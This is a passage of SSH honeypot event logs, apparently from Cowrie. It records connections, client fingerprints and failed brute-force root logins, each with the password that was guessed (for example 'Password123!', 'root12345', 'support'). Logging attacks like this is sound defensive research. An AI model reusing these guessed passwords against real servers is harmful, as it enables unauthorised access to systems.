f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:48.110087Z","src_ip":"107.0.200.227","session":"92c580da7153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator@1","message":"login attempt [root/administrator@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:48.265387Z","src_ip":"107.0.200.227","session":"92c580da7153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:49.299536Z","src_ip":"107.0.200.227","session":"92c580da7153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":57030,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c1db6fea07","protocol":"ssh","message":"New connection: 45.61.187.220:57030 (159.203.135.109:22) [session: d2c1db6fea07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:53.560490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:53.566764Z","src_ip":"45.61.187.220","session":"d2c1db6fea07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:53.615753Z","src_ip":"45.61.187.220","session":"d2c1db6fea07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123!","message":"login attempt [root/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:53.791607Z","src_ip":"45.61.187.220","session":"d2c1db6fea07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:54.848639Z","src_ip":"45.61.187.220","session":"d2c1db6fea07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":41288,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4779e85e1f0","protocol":"ssh","message":"New connection: 125.16.27.190:41288 (159.203.135.109:22) [session: c4779e85e1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:56.782028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:56.786105Z","src_ip":"125.16.27.190","session":"c4779e85e1f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:57.082248Z","src_ip":"125.16.27.190","session":"c4779e85e1f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranjit","message":"login attempt [root/ranjit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:58.285326Z","src_ip":"125.16.27.190","session":"c4779e85e1f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:14:59.629142Z","src_ip":"125.16.27.190","session":"c4779e85e1f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":52490,"dst_ip":"10.17.0.5","dst_port":22,"session":"de8ae24887a7","protocol":"ssh","message":"New connection: 111.32.153.180:52490 (10.17.0.5:22) [session: de8ae24887a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:00.239997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:00.247102Z","src_ip":"111.32.153.180","session":"de8ae24887a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:00.511283Z","src_ip":"111.32.153.180","session":"de8ae24887a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:01.586161Z","src_ip":"111.32.153.180","session":"de8ae24887a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:02.851863Z","src_ip":"111.32.153.180","session":"de8ae24887a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":39740,"dst_ip":"159.203.135.109","dst_port":22,"session":"db230c8acba2","protocol":"ssh","message":"New connection: 66.113.163.125:39740 (159.203.135.109:22) [session: db230c8acba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:03.330822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:03.337037Z","src_ip":"66.113.163.125","session":"db230c8acba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:03.401808Z","src_ip":"66.113.163.125","session":"db230c8acba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Shadow123","message":"login attempt [root/Shadow123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:03.585601Z","src_ip":"66.113.163.125","session":"db230c8acba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":43224,"dst_ip":"10.17.0.5","dst_port":22,"session":"0162289a1499","protocol":"ssh","message":"New connection: 175.107.32.186:43224 (10.17.0.5:22) [session: 0162289a1499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:04.024472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:04.034278Z","src_ip":"175.107.32.186","session":"0162289a1499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:04.246974Z","src_ip":"175.107.32.186","session":"0162289a1499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:04.632325Z","src_ip":"66.113.163.125","session":"db230c8acba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:05.123908Z","src_ip":"175.107.32.186","session":"0162289a1499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:06.338570Z","src_ip":"175.107.32.186","session":"0162289a1499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":38648,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2acfec71be4","protocol":"ssh","message":"New connection: 159.195.79.219:38648 (10.17.0.5:22) [session: f2acfec71be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:06.865215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:06.870948Z","src_ip":"159.195.79.219","session":"f2acfec71be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:06.972878Z","src_ip":"159.195.79.219","session":"f2acfec71be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Andisheh@321","message":"login attempt [root/Andisheh@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:07.373283Z","src_ip":"159.195.79.219","session":"f2acfec71be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:08.472861Z","src_ip":"159.195.79.219","session":"f2acfec71be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":45824,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee2379f592c4","protocol":"ssh","message":"New connection: 92.191.96.70:45824 (10.17.0.5:22) [session: ee2379f592c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:27.401191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:27.406044Z","src_ip":"92.191.96.70","session":"ee2379f592c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:27.530847Z","src_ip":"92.191.96.70","session":"ee2379f592c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RPM","message":"login attempt [root/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:28.057825Z","src_ip":"92.191.96.70","session":"ee2379f592c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:29.184131Z","src_ip":"92.191.96.70","session":"ee2379f592c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":60502,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d6388a9c69","protocol":"ssh","message":"New connection: 107.0.200.227:60502 (159.203.135.109:22) [session: b8d6388a9c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:58.779151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:58.783058Z","src_ip":"107.0.200.227","session":"b8d6388a9c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:58.815003Z","src_ip":"107.0.200.227","session":"b8d6388a9c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"airport","message":"login attempt [root/airport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:58.964326Z","src_ip":"107.0.200.227","session":"b8d6388a9c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":52502,"dst_ip":"159.203.135.109","dst_port":22,"session":"0382282b4f18","protocol":"ssh","message":"New connection: 45.61.187.220:52502 (159.203.135.109:22) [session: 0382282b4f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:59.165139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:15:59.171144Z","src_ip":"45.61.187.220","session":"0382282b4f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS